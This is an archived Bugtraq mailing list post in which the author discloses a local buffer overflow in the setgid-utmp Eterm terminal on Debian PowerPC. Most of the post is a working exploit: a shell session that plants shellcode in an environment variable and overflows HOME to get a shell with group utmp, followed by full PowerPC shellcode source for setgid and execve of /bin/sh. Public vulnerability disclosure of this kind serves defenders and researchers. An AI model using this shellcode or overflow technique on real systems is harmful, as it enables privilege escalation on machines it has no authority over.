Bugtraq mailing list archives

Eterm SGID utmp Buffer Overflow (Local)


From: Charles 'core' Stevenson <core () bokeoa com>
Date: Sun, 13 Jan 2002 07:57:57 -0700

I found this last night looking for suids to overflow.  Tested on Debian
PowerPC Unstable. Yields gid utmp from which higher priveleges could be
gained with a little effort. I haven't looked too close but I think the
overflow might be in imlib2.

[-(core@euclid:/home/core/tmp)> gcc execve.c -o execve
[-(core@euclid:/home/core/tmp)> export EGG=`./execve`
sizeof(shellcode)=73
[-(core@euclid:/home/core/tmp)> ./getenv EGG
Shellcode @ 0x7fffff95                      
[-(core@euclid:/home/core/tmp)> export HOME=`perl -e 'print
"\x7f\xff\xff\x96"x1032'`
[-(core@euclid:/home/core/tmp)> Eterm
sh-2.05a$ id                         
uid=1000(core) gid=1000(core) egid=43(utmp) groups=1000(core)

ii  eterm          0.9.1-2        Enlightened Terminal Emulator
ii  libimlib2      1.0.4-1        Powerful image loading and rendering
library

/* execve.c
 *
 * PowerPC Linux Shellcode
 *
 * by Charles Stevenson <core () bokeoa com>
 * 
 * original execve by my good friend 
 * Kevin Finisterre  <dotslash () snosoft com>
 */

#include <stdio.h>

char shellcode[] =
/* setgid(43) utmp */
        "\x38\x60\x01\x37"              /* 100004a0: li     
r3,311             */
        "\x38\x63\xfe\xf4"              /* 100004a4: addi   
r3,r3,-268         */
        "\x3b\xc0\x01\x70"              /* 100004a8: li     
r30,368            */
        "\x7f\xc0\x1e\x70"              /* 100004ac: srawi  
r0,r30,3           */
        "\x44\xff\xff\x02"              /* 100004b0:
sc                         */
/* execve("/bin/sh") */
        "\x7c\xa5\x2a\x78"              /* 100004b0: xor       
r5,r5,r5        */
        "\x40\x82\xff\xed"              /* 100004b4: bnel+      100004a0
<main> */
        "\x7f\xe8\x02\xa6"              /* 100004b8: mflr      
r31             */
        "\x3b\xff\x01\x30"              /* 100004bc: addi      
r31,r31,304     */
        "\x38\x7f\xfe\xf4"              /* 100004c0: addi      
r3,r31,-268     */
        "\x90\x61\xff\xf8"              /* 100004c4: stw       
r3,-8(r1)       */
        "\x90\xa1\xff\xfc"              /* 100004c8: stw       
r5,-4(r1)       */
        "\x38\x81\xff\xf8"              /* 100004cc: addi      
r4,r1,-8        */
        "\x3b\xc0\x01\x60"              /* 100004d0: li        
r30,352         */
        "\x7f\xc0\x2e\x70"              /* 100004d4: srawi     
r0,r30,5        */
        "\x44\xff\xff\x02"              /* 100004d8:
sc                         */
        "\x2f\x62\x69\x6e"              /* 100004dc: cmpdi     
cr6,r2,26990    */
        "\x2f\x73\x68\x00";             /* 100004e0: cmpdi     
cr6,r19,26624   */

int main(int argc, char **argv) {
   fprintf(stderr,"sizeof(shellcode)=%d\n",sizeof(shellcode));
   //__asm__("b shellcode");
   printf("%s",shellcode);
   return 0;
}

Best Regards,
Charles 'core' Stevenson


Current thread: